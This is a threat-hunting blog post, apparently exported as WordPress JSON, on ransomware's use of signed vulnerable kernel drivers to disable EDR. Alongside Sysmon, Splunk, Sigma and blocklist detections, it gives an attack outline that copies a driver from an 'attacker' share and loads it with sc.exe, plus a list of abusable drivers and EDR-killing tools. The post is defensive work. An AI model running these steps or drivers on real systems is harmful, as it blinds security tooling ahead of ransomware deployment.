{"id":300,"date":"2026-02-24T09:00:00","date_gmt":"2026-02-24T09:00:00","guid":{"rendered":"http:\/\/justruss.tech\/index.php\/2025\/04\/01\/byovd-bring-your-own-vulnerable-driver-killing-edr-at-the-kernel-level-2\/"},"modified":"2026-05-15T10:34:55","modified_gmt":"2026-05-15T10:34:55","slug":"byovd-bring-your-own-vulnerable-driver-killing-edr-at-the-kernel-level-2","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2026\/02\/24\/byovd-bring-your-own-vulnerable-driver-killing-edr-at-the-kernel-level-2\/","title":{"rendered":"BYOVD: Bring Your Own Vulnerable Driver &#8212; Killing EDR at the Kernel Level"},"content":{"rendered":"<p>Bring Your Own Vulnerable Driver (BYOVD) has moved from an advanced nation-state technique to standard ransomware operator tradecraft. Qilin, RansomHub, BlackByte, and Scattered Spider all use it. The core idea is elegant in its brutality: rather than trying to write malicious kernel code (which requires a Microsoft-signed certificate and bypassing Secure Boot), the attacker loads a legitimate, Microsoft-signed driver that happens to have a known vulnerability. They exploit that vulnerability to gain kernel execution. From the kernel they can terminate any process including your EDR, remove kernel callbacks that the EDR uses for visibility, and operate completely blind to all userland monitoring.<\/p>\n<p>This is one of the hardest techniques to detect because it happens before your primary detection capability is fully operational, and often uses artefacts that individually look completely legitimate.<\/p>\n<h3>How it works technically<\/h3>\n<p>Windows requires kernel-mode drivers to be signed by Microsoft. Legitimate hardware vendors have signed drivers. Some of those signed drivers contain vulnerabilities, usually in IOCTL handlers, that allow arbitrary kernel memory read\/write from a low-privilege user. The attacker loads the vulnerable driver through normal Windows mechanisms (sc.exe or NtLoadDriver), exploits its IOCTL interface to get a kernel write primitive, then uses that primitive to either kill the EDR process, remove the EDR&#8217;s kernel callbacks from the relevant callback arrays, or overwrite the EDR&#8217;s kernel driver code in memory.<\/p>\n<pre>\/\/ Common BYOVD flow in ransomware deployments\n\/\/ 1. Drop the vulnerable driver to disk\ncopy \\\\attacker\\share\\vuln.sys C:\\Windows\\Temp\\vuln.sys\n\n\/\/ 2. Load the driver\nsc create vuln type= kernel binPath= C:\\Windows\\Temp\\vuln.sys\nsc start vuln\n\n\/\/ 3. Use the driver's IOCTL to gain kernel write primitive\n\/\/ (tool-specific, e.g., EDRSandBlast, Terminator, KillAV)\n\n\/\/ 4. Use kernel write to zero out EDR callback registrations\n\/\/ e.g., walk PspLoadImageNotifyRoutine array and remove EDR entries\n\n\/\/ 5. EDR is now blind - proceed with ransomware deployment<\/pre>\n<p>The most commonly abused drivers documented in incident reports include:<\/p>\n<pre>\/\/ Known BYOVD drivers (partial list from public reporting)\n\/\/ EDRSandBlast: gdrv.sys (Gigabyte driver) CVE-2018-19320\n\/\/ Terminator: zam64.sys (Zemana Anti-Malware) \n\/\/ BlackByte: RwDrv.sys (RW-Everything)\n\/\/ RansomHub: BadRentdrv2.sys, ThreatFire System Monitor driver\n\/\/ AuKill: procexp.sys (legitimate Sysinternals Process Explorer driver)\n\n\/\/ All of these are or were legitimately signed by their vendors\n\/\/ Windows will load them without complaint if signing enforcement is met<\/pre>\n<h3>Why it is so hard to detect<\/h3>\n<p>The driver load event happens through perfectly legitimate Windows mechanisms. The driver itself is signed and passes all signature validation. The IOCTL calls to the driver look like normal device communication. By the time the EDR&#8217;s callback registrations are removed, the EDR has already lost visibility, it cannot report what just happened to it. Any alerting that depended on EDR is now blind. If your SIEM relied on the EDR agent to ship events, those events stop.<\/p>\n<h3>Detection layer 1: driver load monitoring<\/h3>\n<p>Sysmon Event ID 6 (DriverLoad) is your first line. Log every driver load and check the loaded driver against a list of known vulnerable drivers. Microsoft maintains a vulnerable driver blocklist; cross-reference against it.<\/p>\n<pre>\/\/ Sysmon config: log all driver loads\n&lt;DriverLoad onmatch=\"include\"&gt;\n &lt;Rule groupRelation=\"or\"&gt;\n &lt;ImageLoaded condition=\"contains\"&gt;Temp&lt;\/ImageLoaded&gt;\n &lt;ImageLoaded condition=\"contains\"&gt;AppData&lt;\/ImageLoaded&gt;\n &lt;ImageLoaded condition=\"contains\"&gt;Users&lt;\/ImageLoaded&gt;\n &lt;Signed condition=\"is\"&gt;false&lt;\/Signed&gt;\n &lt;\/Rule&gt;\n&lt;\/DriverLoad&gt;\n\n\/\/ Alert on ALL driver loads for hash comparison\n&lt;DriverLoad onmatch=\"include\"&gt;\n &lt;ImageLoaded condition=\"is not\"&gt;C:\\Windows\\System32\\drivers\\&lt;\/ImageLoaded&gt;\n&lt;\/DriverLoad&gt;<\/pre>\n<pre>\/\/ Splunk: detect driver loads matching known BYOVD hashes\nindex=sysmon EventCode=6\n| eval driver_hash=lower(Hashes)\n| lookup byovd_drivers.csv sha256 AS driver_hash OUTPUT driver_name, cve, notes\n| where isnotnull(driver_name)\n| table _time, ComputerName, ImageLoaded, driver_name, cve, notes\n| sort -_time\n\n\/\/ byovd_drivers.csv should be populated from:\n\/\/ https:\/\/github.com\/magicsword-io\/LOLDrivers\n\/\/ loldrivers.io maintains a current list with hashes<\/pre>\n<h3>Detection layer 2: LOLDrivers database integration<\/h3>\n<pre>\/\/ Download and parse the LOLDrivers dataset\npython3 &lt;&lt; EOF\nimport requests, json, csv\n\n# LOLDrivers maintains a machine-readable list of vulnerable drivers\nurl = \"https:\/\/www.loldrivers.io\/api\/drivers.json\"\nresp = requests.get(url, timeout=30)\ndrivers = resp.json()\n\n# Build a hash lookup CSV for your SIEM\nwith open(\"byovd_drivers.csv\", \"w\", newline=\"\") as f:\n writer = csv.writer(f)\n writer.writerow([\"sha256\", \"sha1\", \"md5\", \"driver_name\", \"cve\", \"notes\"])\n for driver in drivers:\n name = driver.get(\"Tags\", [\"unknown\"])[0]\n cve = \",\".join(driver.get(\"CVE\", []))\n note = driver.get(\"KnownVulnerableSamples\", [{}])[0].get(\"Authentihash\", \"\")\n for sample in driver.get(\"KnownVulnerableSamples\", []):\n sha256 = sample.get(\"SHA256\", \"\")\n sha1 = sample.get(\"SHA1\", \"\")\n md5 = sample.get(\"MD5\", \"\")\n if sha256:\n writer.writerow([sha256.lower(), sha1.lower(), md5.lower(), name, cve, note])\n\nprint(f\"Written {len(drivers)} driver entries to byovd_drivers.csv\")\nEOF<\/pre>\n<h3>Detection layer 3: EDR process termination anomaly<\/h3>\n<pre>\/\/ If your EDR process dies unexpectedly, that is the strongest indicator\n\/\/ Monitor for EDR process termination via Windows Event ID 4689\n\nGet-WinEvent -FilterHashtable @{LogName=\"Security\"; Id=4689} |\n Where-Object {\n $_.Message -match \"MsMpEng|CSFalcon|SentinelAgent|CylanceSvc|cb.exe|AmSvc\"\n } |\n Select-Object TimeCreated, Message | Format-List\n\n\/\/ Also monitor for the sc.exe pattern of driver loading\n\/\/ Legitimate software rarely uses sc.exe to load kernel drivers at runtime\nindex=sysmon EventCode=1\n Image=\"*\\\\sc.exe\"\n (CommandLine=\"*type= kernel*\" OR CommandLine=\"*type=kernel*\")\n| table _time, ComputerName, Account_Name, CommandLine<\/pre>\n<h3>Detection layer 4: kernel callback monitoring<\/h3>\n<pre>\/\/ Tools like WinPmem or custom kernel drivers can monitor callback arrays\n\/\/ In a post-incident memory analysis context:\n\nvol -f memory.raw windows.callbacks\n\/\/ Lists all registered kernel callbacks\n\/\/ PsSetLoadImageNotifyRoutine, PsSetCreateProcessNotifyRoutine etc.\n\/\/ If your EDR's driver address is missing from these arrays\n\/\/ it means BYOVD removed it\n\n\/\/ Correlate callback list against expected EDR kernel modules\nvol -f memory.raw windows.modules | grep -i \"edr_driver_name\"\n\/\/ If the module is loaded but its address is not in callback arrays\n\/\/ it was stripped - strong BYOVD indicator<\/pre>\n<h3>Detection layer 5: Microsoft Vulnerable Driver Blocklist<\/h3>\n<pre>\/\/ Enable the Microsoft Vulnerable Driver Blocklist\n\/\/ Windows 11 22H2+ has this built in, older versions need manual WDAC policy\n\n\/\/ Check if blocklist is enabled\nGet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\CI\\Config\" |\n Select-Object VulnerableDriverBlocklistEnable\n\n\/\/ Enable it\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\CI\\Config\" `\n -Name VulnerableDriverBlocklistEnable -Value 1\n\n\/\/ The blocklist prevents known vulnerable drivers from loading\n\/\/ This is the preventive control - detection is the compensating control<\/pre>\n<h3>Sigma rule for BYOVD hunting<\/h3>\n<pre>title: Potential BYOVD Vulnerable Driver Load\nid: a8b4c2e1-3f5d-4a8b-9c1e-2d4f6a8b0c1e\nstatus: experimental\ndescription: Detects loading of kernel drivers from non-standard locations or matching known BYOVD hashes\nreferences:\n - https:\/\/www.loldrivers.io\n - https:\/\/attack.mitre.org\/techniques\/T1068\/\nauthor: justruss\nlogsource:\n product: windows\n category: driver_loaded\ndetection:\n selection_path:\n ImageLoaded|contains:\n - '\\Temp\\'\n - '\\AppData\\'\n - '\\Users\\Public\\'\n - '\\ProgramData\\'\n selection_unsigned:\n Signed: 'false'\n ImageLoaded|contains: '.sys'\n filter_legit:\n ImageLoaded|startswith:\n - 'C:\\Windows\\System32\\drivers\\'\n - 'C:\\Windows\\System32\\DriverStore\\'\n condition: (selection_path or selection_unsigned) and not filter_legit\nlevel: high\ntags:\n - attack.defense_evasion\n - attack.t1562.001\n - attack.privilege_escalation\n - attack.t1068<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Bring Your Own Vulnerable Driver is now standard ransomware tradecraft. The attacker loads a legitimate but vulnerable signed driver, uses it to gain kernel execution, and kills your EDR before you know they are there. This is how to hunt for it.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-300","post","type-post","status-publish","format-standard","hentry","category-threat-hunting"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/300","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=300"}],"version-history":[{"count":1,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/300\/revisions"}],"predecessor-version":[{"id":318,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/300\/revisions\/318"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=300"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=300"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=300"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}